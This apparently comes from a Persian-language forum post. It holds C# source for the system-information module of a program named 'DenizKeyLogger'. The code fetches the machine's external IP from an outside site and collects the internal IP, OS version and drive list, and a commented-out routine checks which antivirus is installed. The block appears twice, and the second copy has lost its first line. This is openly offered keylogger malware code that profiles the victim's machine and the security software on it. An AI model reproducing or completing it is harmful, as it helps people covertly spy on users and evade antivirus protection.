amir35200
دوشنبه 11 شهریور 1392, 13:54 عصر
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
namespace DenizKeyLogger
{
class GetINFO
{
static string result = "";
static string antivirusname = "none";
public static string GetEIP()
{
try
{
HttpWebRequest myWebRequest = (HttpWebRequest)HttpWebRequest.Create("http://www.prodigyproductionsllc.com/yourip.php");
myWebRequest.Method = "GET";
HttpWebResponse myWebResponse = (HttpWebResponse)myWebRequest.GetResponse();
StreamReader myWebSource = new StreamReader(myWebResponse.GetResponseStream());
result = myWebSource.ReadToEnd();
return result.Trim();
}
catch { return result.Trim(); }
}
public static string GetIIP()
{
IPHostEntry IPHost = Dns.GetHostByName(Dns.GetHostName());
return IPHost.AddressList[0].ToString();
}
public static string GetOS()
{
System.OperatingSystem osInfo2 = System.Environment.OSVersion;
return(osInfo2.ToString());
}
//public static string GetAntiVirusName()
//{
// try
// {
// string computer = Environment.MachineName;
// string wmipath = @"\\" + computer + @"\root\SecurityCenter";
// string query = @"SELECT * FROM AntivirusProduct";
// ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmipath, query);
// ManagementObjectCollection results = searcher.Get();
// foreach (ManagementObject result in results)
// {
// antivirusname = result["displayName"].ToString();
// }
// return antivirusname;
// }
// catch { return antivirusname; }
//}
public static string GetAllDrive()
{
string result = "";
try
{
DriveInfo[] drives = DriveInfo.GetDrives();
foreach (DriveInfo drive in drives)
{
result += drive.Name + drive.VolumeLabel + " | ";
}
}
catch { }
return result;
}
}
}
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;
namespace DenizKeyLogger
{
class GetINFO
{
static string result = "";
static string antivirusname = "none";
public static string GetEIP()
{
try
{
HttpWebRequest myWebRequest = (HttpWebRequest)HttpWebRequest.Create("http://www.prodigyproductionsllc.com/yourip.php");
myWebRequest.Method = "GET";
HttpWebResponse myWebResponse = (HttpWebResponse)myWebRequest.GetResponse();
StreamReader myWebSource = new StreamReader(myWebResponse.GetResponseStream());
result = myWebSource.ReadToEnd();
return result.Trim();
}
catch { return result.Trim(); }
}
public static string GetIIP()
{
IPHostEntry IPHost = Dns.GetHostByName(Dns.GetHostName());
return IPHost.AddressList[0].ToString();
}
public static string GetOS()
{
System.OperatingSystem osInfo2 = System.Environment.OSVersion;
return(osInfo2.ToString());
}
//public static string GetAntiVirusName()
//{
// try
// {
// string computer = Environment.MachineName;
// string wmipath = @"\\" + computer + @"\root\SecurityCenter";
// string query = @"SELECT * FROM AntivirusProduct";
// ManagementObjectSearcher searcher = new ManagementObjectSearcher(wmipath, query);
// ManagementObjectCollection results = searcher.Get();
// foreach (ManagementObject result in results)
// {
// antivirusname = result["displayName"].ToString();
// }
// return antivirusname;
// }
// catch { return antivirusname; }
//}
public static string GetAllDrive()
{
string result = "";
try
{
DriveInfo[] drives = DriveInfo.GetDrives();
foreach (DriveInfo drive in drives)
{
result += drive.Name + drive.VolumeLabel + " | ";
}
}
catch { }
return result;
}
}
}